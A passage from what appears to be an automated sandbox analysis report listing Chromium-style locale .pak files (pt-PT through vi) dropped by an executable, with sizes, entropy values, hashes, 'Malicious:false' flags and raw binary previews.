                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:Bm1HqF4Znh9GzBtNBXBLd1OUDcpryHF55NJND0bsRzlb2:UHrnhMzX5PJB4sRxC
                                                                                                                                                                                                                                                                MD5:0D9DEA9E24645C2A3F58E4511C564A36
                                                                                                                                                                                                                                                                SHA1:DCD2620A1935C667737EEA46CA7BB2BDCB31F3A6
                                                                                                                                                                                                                                                                SHA-256:CA7B880391FCD319E976FCC9B5780EA71DE655492C4A52448C51AB2170EEEF3B
                                                                                                                                                                                                                                                                SHA-512:8FCF871F8BE7727E2368DF74C05CA927C5F0BC3484C4934F83C0ABC98ECAF774AD7ABA56E1BF17C92B1076C0B8EB9C076CC949CD5427EFCADE9DDF14F6B56BC5
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7....._.....q.....................................................#.....%.....).....T.....c.....|...................................................../.....F.....P.....X.....h.....y...........................................................%.....:.....H.....Y.....r.................................................................+.....5.....F.....~...............................................).....;.....S.....V.....g.....y.............................................................................=.....y............................. .....H.....R.....i.....p.....z...............................................3.....f....................................... .....".....%.....(.....*.(...+.+...,.I.....Z.../.n...0.w...1.....3.....4.....5.....6.-...7.A...8.Y...9.l...;.|...<.....=.....>.....?.....@.....A.....C.!...D.+.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\pt-PT.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):416977
                                                                                                                                                                                                                                                                Entropy (8bit):5.401132911995885
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:isWkrPyGJeOMqieJVJJxhlOlxLu3ov5xKqSR0B:X3PBxj8zv5xKqSRW
                                                                                                                                                                                                                                                                MD5:6A7232F316358D8376A1667426782796
                                                                                                                                                                                                                                                                SHA1:8B70FE0F3AB2D73428F19ECD376C5DEBA4A0BB6C
                                                                                                                                                                                                                                                                SHA-256:6A526CD5268B80DF24104A7F40F55E4F1068185FEBBBB5876BA2CB7F78410F84
                                                                                                                                                                                                                                                                SHA-512:40D24B3D01E20AE150083B00BB6E10BCA81737C48219BCE22FA88FAAAD85BDC8C56AC9B1EB01854173B0ED792E34BDFBAC26D3605B6A35C14CF2824C000D0DA1
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........s...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................%.....-.....4.....;.....B.....C.....D.....I.....r...........................................................&.....(.....,.....W.....f...........................................................!.....9.....C.....K.....\.....n.................................................................%.....3.....D.....b.................................................................#.....+.....<.....t.....~...............................................(.....:.....T.....W.....h.....|.............................................................................N...................................0.....X.....b.....|.....................................................;.....^............................................. .....".....%.....(.3...*.P...+.S...,.q........./.....0.....1.....3.....4.....5.8...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.+...A.a...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ro.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):430191
                                                                                                                                                                                                                                                                Entropy (8bit):5.460617985170646
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:pqgw32K4aoFt3GgnSYn0vLi5OU6ois2a/7ulqr:pqgVzFt3GgnSY0vLi5OXo3/5r
                                                                                                                                                                                                                                                                MD5:99EAA3D101354088379771FD85159DE1
                                                                                                                                                                                                                                                                SHA1:A32DB810115D6DCF83A887E71D5B061B5EEFE41F
                                                                                                                                                                                                                                                                SHA-256:33F4C20F7910BC3E636BC3BEC78F4807685153242DD4BC77648049772CF47423
                                                                                                                                                                                                                                                                SHA-512:C6F87DA1B5C156AA206DC21A9DA3132CBFB0E12E10DA7DC3B60363089DE9E0124BBAD00A233E61325348223FC5953D4F23E46FE47EC8E7CA07702AC73F3FD2E9
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........L...h.....i.....j.....k.$...l./...n.7...o.<...p.I...r.O...s.`...t.i...v.~...w.....y.....z.....|.....}.........................................................................1.....@.....L.....Z.....e.....p...........................................................<.....E.....^.....n.....y...............................................+.....?.....T.................................................................M.....n...................................#.....+.....2.....8.....G.....Y.....n.....u...............................................T.....b.....t.....................................................,.....@.....G.....J.....K.....W.....c.....p.....y.................).....r.....z.............................9.....S.....d.....l.....r.....x.............................3.....V............................................. .....".....%.<...(.S...*.k...+.n...,.........../.....0.....1.....3.....4.'...5.G...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.&...A._...C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ru.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):703696
                                                                                                                                                                                                                                                                Entropy (8bit):4.836890612319527
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:ckXRY5eXN2hHO3j/jHXzvMBsiA2kkce8P/XyFGGJGswfaZ/LeUFCcYWIkHWajf+F:ck5LZ5w6pF
                                                                                                                                                                                                                                                                MD5:AB9902025DCF7D5408BF6377B046272B
                                                                                                                                                                                                                                                                SHA1:C9496E5AF3E2A43377290A4883C0555E27B1F10F
                                                                                                                                                                                                                                                                SHA-256:983B15DCC31D0E9A3DA78CD6021E5ADD2A3C2247322ADED9454A5D148D127AAE
                                                                                                                                                                                                                                                                SHA-512:D255D5F5B6B09AF2CDEC7B9C171EEBB1DE1094CC5B4DDF43A3D4310F8F5F223AC48B8DA97A07764D1B44F1D4A14FE3A0C92A0CE6FE9A4AE9A6B4A342E038F842
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........S.h.....i.....j.....k.....l.....n.#...o.(...p.5...r.;...s.L...t.U...v.j...w.w...y.}...z.....|.....}.........................................................................:.....W.....t.........................................E.....l.....n.....r...................................(.....A.....K.............................3.....?.....b.......................+.....5.....F.....[.....v.........................................8.....f.........................................*.....K.....e...................................H.....i.............................7.....t.....w...................................B.....I.....L.....M.....].....q...................................>.....J.................#.....e.........................................6.....t.................:.......................#.....7.....G.....w......... .....".....%.....(.....*.....+.....,.........../.....0.....1.]...3.t...4.....5.....6.N...7.r...8.....9.....;.....<.....=.....>.8...?.G...@.f...A.....C.!...D.2...E.j...F...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\sk.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):443094
                                                                                                                                                                                                                                                                Entropy (8bit):5.818852266406701
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:vQt/WMWyqiLJcPXPk5ELALWaQlKDEmLFGR:vQYfyqiWPXM5ELALWaQlwdLE
                                                                                                                                                                                                                                                                MD5:C6C7396DBFB989F034D50BD053503366
                                                                                                                                                                                                                                                                SHA1:089F176B88235CCE5BCA7ABFCC78254E93296D61
                                                                                                                                                                                                                                                                SHA-256:439F7D6C23217C965179898754EDCEF8FD1248BDD9B436703BF1FF710701117A
                                                                                                                                                                                                                                                                SHA-512:1476963F47B45D2D26536706B7EEBA34CFAE124A3087F7727C4EFE0F19610F94393012CDA462060B1A654827E41F463D7226AFA977654DCD85B27B7F8D1528EB
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........U...h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...r.f...s.w...t.....v.....w.....y.....z.....|.....}.........................................................................A.....U.....].....o.....z.....................................................9.....R.....q.....w...............................................!.....0.....6.....>.....N....._.....s.....................................................$.....:.....L.....h.......................................................................".....=.....|...............................................*.....9.....a.....d.....v...................................................................................d.......................t.........................................%.....0.....9.....P.....x.............................U.....r.....z........................... .....".....%.....(.....*.6...+.9...,.W.....h.../.....0.....1.....3.....4.....5.....6.D...7.Y...8.p...9.....;.....<.....=.....>.....?.....@.....A.(...C.I...D.T...E.t.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\sl.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):427791
                                                                                                                                                                                                                                                                Entropy (8bit):5.48540289392965
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:iyCeC3SMQRB21BPDwY5oEcAVOlJgi/fzxzqg:iTJ6kDwY5oEc0i/fzxt
                                                                                                                                                                                                                                                                MD5:D4BD9F20FD29519D6B017067E659442C
                                                                                                                                                                                                                                                                SHA1:782283B65102DE4A0A61B901DEA4E52AB6998F22
                                                                                                                                                                                                                                                                SHA-256:F33AFA6B8DF235B09B84377FC3C90403C159C87EDD8CD8004B7F6EDD65C85CE6
                                                                                                                                                                                                                                                                SHA-512:ADF8D8EC17E8B05771F47B19E8027F88237AD61BCA42995F424C1F5BD6EFA92B23C69D363264714C1550B9CD0D03F66A7CFB792C3FBF9D5C173175B0A8C039DC
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........A...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.....................................................................................*.....:.....B.....R.....y...............................................,.....D.....N.....X.....b.....m.....{.................................................................M.....c.....h.....o...........................................................%.....C.....d.................................................................3.....=.....L.....c.....v.....................................................-.....@.....P.....e.....|.................................................................Y.............................2.....m.....z.....................................................2.....H.....o............................................. .....".....%.....(.P...*.t...+.w...,.........../.....0.....1.....3. ...4.<...5.Q...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.,...A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\sr.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):660194
                                                                                                                                                                                                                                                                Entropy (8bit):4.761695251077794
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:oLNvoUKEuNI0I4Ki1eg82ATs+Hc549x4moW037LJzk/k/N:xrnqJc5Axjw
                                                                                                                                                                                                                                                                MD5:CBB817A58999D754F99582B72E1AE491
                                                                                                                                                                                                                                                                SHA1:6EC3FD06DEE0B1FE5002CB0A4FE8EC533A51F9FD
                                                                                                                                                                                                                                                                SHA-256:4BD7E466CB5F5B0A451E1192AA1ABAAF9526855A86D655F94C9CE2183EC80C25
                                                                                                                                                                                                                                                                SHA-512:EFEF29CEDB7B08D37F9DF1705D36613F423E994A041B137D5C94D2555319FFB068BB311884C9D4269B0066746DACD508A7D01DF40A8561590461D5F02CB52F8B
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....y............................. .....b.........................................?.....c.........................................?.....V.....o...................................3.....R...................................'.....1.....A.....M.....l.............................J.....................................................4.....@.....c.............................-.....l...................................P.....S.....n.....................................................%.....1.....J.....Y.....o.......................).................&.....n...............................................g.......................H...................................0.....E... .Y...".....%.....(.....*.....+."...,.@.....h.../.....0.....1.....3.....4.R...5.....6.....7.....8.B...9.v...;.....<.....=.....>.....?.....@.....A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\sv.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):385361
                                                                                                                                                                                                                                                                Entropy (8bit):5.543491670458518
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:M4pITVzssdlJ9EAjiws8cB7xjpZ/4LLXru9M9SOxDE/xUDvZv5pB5mEgb7:BpIXzJ9V2B1q5/5mz
                                                                                                                                                                                                                                                                MD5:502E4A8B3301253ABE27C4FD790FBE90
                                                                                                                                                                                                                                                                SHA1:17ABCD7A84DA5F01D12697E0DFFC753FFB49991A
                                                                                                                                                                                                                                                                SHA-256:7D72E3ADB35E13EC90F2F4271AD2A9B817A2734DA423D972517F3CFF299165FD
                                                                                                                                                                                                                                                                SHA-512:BD270ABAF9344C96B0F63FC8CEC04F0D0AC9FC343AB5A80F5B47E4B13B8B1C0C4B68F19550573A1D965BB18A27EDF29F5DD592944D754B80EA9684DBCEDEA822
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........0...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.*...t.3...v.H...w.U...y.[...z.j...|.p...}...........................................................................................!.....).....2.....M.....U.....`...........................................................&.....-.....:.....c.....t.........................................................../.....;.....C.....U.....e.....i.....s.....z...................................%.....H.....S.....Y.....a.....h.....n.....{.....................................................).....R.....q.....y.................................................................$.....+.........../.....7.....?.....J.....R.....].................".....).....u.................................................................'.....?.....k...............................................".....*... ./...".9...%.[...(.x...*.....+.....,.........../.....0.....1.....3.)...4.P...5.e...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.%...A.Q...C.p.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\sw.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):404460
                                                                                                                                                                                                                                                                Entropy (8bit):5.342349721117576
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:icM47G565vqimUwbQuBndO8gJGgnATm5A1vZcsToe4t2ht:iy7GsP5Ar
                                                                                                                                                                                                                                                                MD5:39277AE2D91FDC1BD38BEA892B388485
                                                                                                                                                                                                                                                                SHA1:FF787FB0156C40478D778B2A6856AD7B469BD7CB
                                                                                                                                                                                                                                                                SHA-256:6D6D095A1B39C38C273BE35CD09EB1914BD3A53F05180A3B3EB41A81AE31D5D3
                                                                                                                                                                                                                                                                SHA-512:BE2D8FBEDAA957F0C0823E7BEB80DE570EDD0B8E7599CF8F2991DC671BDCBBBE618C15B36705D83BE7B6E9A0D32EC00F519FC8543B548422CA8DCF07C0548AB4
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........Y...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....E.....U.....i.....u...........................................................+.....H.....N.....Z.....m.....z.....................................................$.....8.....E.....p.......................................................................8.....W.....{................................................................. .....[.....m.....{...................................(.....4.....K.....x.....{.........................................................................................+.....\...................................+.....P.....Z.....r.....x...............................................-.....L............................................. .....".....%.....(.7...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.1...6.i...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.9.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ta.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1043803
                                                                                                                                                                                                                                                                Entropy (8bit):4.044068430611977
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:LXNxfy+orMVjLn1ExBlhfg5yzntRMcA2i:rffyrrMFL1cB3g5yzMcA2i
                                                                                                                                                                                                                                                                MD5:7006691481966109CCE413F48A349FF2
                                                                                                                                                                                                                                                                SHA1:6BD243D753CF66074359ABE28CFAE75BCEDD2D23
                                                                                                                                                                                                                                                                SHA-256:24EA4028DA66A293A43D27102012235198F42A1E271FE568C7FD78490A3EE647
                                                                                                                                                                                                                                                                SHA-512:E12C0D1792A28BF4885E77185C2A0C5386438F142275B8F77317EB8A5CEE994B3241BB264D9502D60BFBCE9CF8B3B9F605C798D67819259F501719D054083BEA
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.#...v.8...w.E...y.K...z.Z...|.`...}.r.....z.................................................................M.....{.............................v.......................n.....p.....t.................E.....c.......................;.......................0.....m...............................................$.....`...................................0.....y.................9.............................!.....(.....F.....n.......................3.............................F...........;.....`.......................7.....:.....n.................$.....Z.....................................................E.....#.......................Q.................c.............................#...../.....s.............................B.................*.....?.....d............... .....".....%.}...(.....*.O...+.R...,.p........./.....0.....1.u...3.....4.....5.....6.....7.]...8.....9.....;.'...<.G...=.j...>.....?.....@.....A.9...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\te.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):965006
                                                                                                                                                                                                                                                                Entropy (8bit):4.295544641165274
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:wM9fKUyABW3p1F9SviTlw2cfgvNFOJgr/p54JVQJMwKpaJC28+58XoX0Doq9OyUk:wM9fKU6225jM9h
                                                                                                                                                                                                                                                                MD5:F809BF5184935C74C8E7086D34EA306C
                                                                                                                                                                                                                                                                SHA1:709AB3DECFF033CF2FA433ECC5892A7AC2E3752E
                                                                                                                                                                                                                                                                SHA-256:9BBFA7A9F2116281BF0AF1E8FFB279D1AA97AC3ED9EBC80C3ADE19E922D7E2D4
                                                                                                                                                                                                                                                                SHA-512:DE4B14DD6018FDBDF5033ABDA4DA2CB9F5FCF26493788E35D88C07A538B84FDD663EE20255DFD9C1AAC201F0CCE846050D2925C55BF42D4029CB78B057930ACD
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........o...h.@...i.Z...j.f...k.u...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................&...........5.....<.....C.....D.....E.....J.................5.....r.............................#.............................8.....~.......................T.....v.......................x...........#.....A.....c.......................s.......................=...................................V.................v...........>.....s.........................................h.....}.................L.....g.................n.......................:.....c.............................".....R.........................................%.....L.....s.................k...................................1.............................A.....V.....e...........".....r...........P...........>.............................U.....|... .....".....%.....(.q...*.....+.....,.........../.n...0.....1.#...3.F...4.....5.....6.O...7.....8.....9.$...;.Q...<.n...=.....>.....?.....@.....A.Z.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\th.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):811437
                                                                                                                                                                                                                                                                Entropy (8bit):4.342029978594925
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:1Jf31Mkgs3s5UWgHLRflsjj8cKGXdlogG0EeuLADh7Kle9dKj753ohP09XAyFHyJ:1Qzt5/5l
                                                                                                                                                                                                                                                                MD5:2C41616DFE7FCDB4913CFAFE5D097F95
                                                                                                                                                                                                                                                                SHA1:CF7D9E8AD3AA47D683E47F116528C0E4A9A159B0
                                                                                                                                                                                                                                                                SHA-256:F11041C48831C93AA11BBF885D330739A33A42DB211DACCF80192668E2186ED3
                                                                                                                                                                                                                                                                SHA-512:97329717E11BC63456C56022A7B7F5DA730DA133E3FC7B2CC660D63A955B1A639C556B857C039A004F92E5F35BE61BF33C035155BE0A361E3CD6D87B549DF811
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........y.h.....i.....j.....k.....l.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....d.....l.....q.....y.............................................................................(.....7................................... .....Y.....k.............................=.....\.....z.............................^.................d.....................................................J.....w.......................F.....y...............................................,.....J.....t.................".....y.................E.....c...................................&.....G.....d.....................................................;...........P.................n.................j.........................................9.......................C.....{...........5.....>.....S..................... .....".....%.?...(.....*.....+.....,.........../.U...0.h...1.....3.....4.V...5.....6.)...7.J...8.....9.....;.....<.....=.....>.X...?.....@.....A.....C. ...D.<...E.o.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\tr.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):411446
                                                                                                                                                                                                                                                                Entropy (8bit):5.6133974766805546
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:y1MAG26Pl1kY1bkQq/7I5NsA7WGgeh5X/0+gi1ZavXEAQwiBvVGI:9j2Yle66s5775X/R
                                                                                                                                                                                                                                                                MD5:3A858619502C68D5F7DE599060F96DB9
                                                                                                                                                                                                                                                                SHA1:80A66D9B5F1E04CDA19493FFC4A2F070200E0B62
                                                                                                                                                                                                                                                                SHA-256:D81F28F69DA0036F9D77242B2A58B4A76F0D5C54B3E26EE96872AC54D7ABB841
                                                                                                                                                                                                                                                                SHA-512:39A7EC0DFE62BCB3F69CE40100E952517B5123F70C70B77B4C9BE3D98296772F10D3083276BC43E1DB66ED4D9BFA385A458E829CA2A7D570825D7A69E8FBB5F4
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........}...h.\...i.m...j.w...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......".....'...../.....7.....?.....F.....M.....T.....U.....V.....X...........................................................L.....f.....h.....l.....................................................:.....O.....[.....~............................................... .....$.....,.....9.....N.....P.....S.....Z.....q.....................................................!.....(...../.....D.....X.....{.........................................3.....V.....e.....q.....|.............................................................................).....2.....9.....D.....L.....[.................!.....'.....o.................................................................9.....X.........................................!.....0.....G.....M... .X...".m...%.....(.....*.....+.....,.........../.....0.%...1.Z...3.g...4.}...5.....6.....7.....8.....9.2...;.B...<.M...=.Z...>.m...?.v...@.....A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\uk.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):705061
                                                                                                                                                                                                                                                                Entropy (8bit):4.868598768447113
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:wrccq9nty/KiDswU1nbx05kB3IjUUmEg5KuoLNiXElqnOyh:HGX35EEK
                                                                                                                                                                                                                                                                MD5:EE70E9F3557B9C8C67BFB8DFCB51384D
                                                                                                                                                                                                                                                                SHA1:FC4DFC35CDE1A00F97EEFE5E0A2B9B9C0149751E
                                                                                                                                                                                                                                                                SHA-256:54324671A161F6D67C790BFD29349DB2E2D21F5012DC97E891F8F5268BDF7E22
                                                                                                                                                                                                                                                                SHA-512:F4E1DA71CB0485851E8EBCD5D5CF971961737AD238353453DB938B4A82A68A6BBAF3DE7553F0FF1F915A0E6640A3E54F5368D9154B0A4AD38E439F5808C05B9F
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...................................!.....K.....d.....m.............................P.....R.....V.....~...................................%.....F.........................................1.....S.....y.............................!.....8.....Q.....[.....k.....{.............................A.....n.........................................(.....H.....l.....x.......................&.....=.........................................A.....D.....i.............................'...........1.....2.....B.....T.....f.....y.............................+.................$.....~...................................$.....R.......................<.....w.............................E.....u......... .....".....%.....(.....*.{...+.~...,.........../.....0. ...1.....3.....4.....5.....6.Z...7.}...8.....9.....;.....<.....=.....>.I...?.X...@.y...A.....C.1...D.J.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ur.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):617109
                                                                                                                                                                                                                                                                Entropy (8bit):5.143761316646653
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:LbeI8PzGSEiyqkAXsA5rzTExbWW7mQYrjuUco/9NjjFpvIx:LbDwz5qWK
                                                                                                                                                                                                                                                                MD5:FF0A23974AEF88AFC86ECC806DBF1D60
                                                                                                                                                                                                                                                                SHA1:E7BAE97CBB8692A0D106644DFAA9B7D7EA6FCEF0
                                                                                                                                                                                                                                                                SHA-256:F245AB242AAFEEF37DB736C780476534FAD0706AA66DCB8B6B8CD181B4778385
                                                                                                                                                                                                                                                                SHA-512:AABE8160FAC7E0EB8E8EB80963FE995FA4A802147D1B8F605BC0FE3F8E2474463C1D313471C11C85EB5578112232FDC8E89B8A6D43DBE38A328538FF30A78D08
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........S...h.....i.....j.....k.+...l.6...n.>...o.C...p.P...r.V...s.g...t.p...v.....w.....y.....z.....|.....}.........................................................................v...............................................!.....c...............................................3.....Z.....g.............................:.....a.....k.....~.......................+.....\.....f.....y.........................................(.....J.....x.......................7.....F.....N.....U.....i...................................P.....c.....}.................(.....X.....g...............................................!.....?.....].....~.....................................................W.................C.............................!.....=.....C.....Q.....e.....k.......................^.......................+.....7.....L.....e............... .....".....%.....(.....*.K...+.N...,.l........./.....0.....1.....3.1...4.^...5.....6.....7.....8.S...9.l...;.....<.....=.....>.....?.....@.....A.....C.W.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\vi.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):488196
                                                                                                                                                                                                                                                                Entropy (8bit):5.7988900625034185
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:gzLBn6cDgszBm0JXbwS1LcxzIJj758+UIi0+UELbzi830l:gpdDgsz00JrwSNizS5Hti0+UUvi830l
                                                                                                                                                                                                                                                                MD5:3FE6F90F1F990AED508DEDA3810CE8C2
                                                                                                                                                                                                                                                                SHA1:3B86F00666D55E984B4ACA1A5E8319FFA8F411FF
                                                                                                                                                                                                                                                                SHA-256:5EEBB23221AEBCF0BE01BFC2695F7DD35B17F6769BE1E28E5610D35C9717854B
                                                                                                                                                                                                                                                                SHA-512:9AA9D55F112C8B32AA636086CFD2161D97EA313CAC1A44101014128124A03504C992AC8EFD265ABA4E91787AEF7134A14507A600F5EC96FF82DF950A8883828C
                                                                                                                                                                                                                                                                Malicious:false
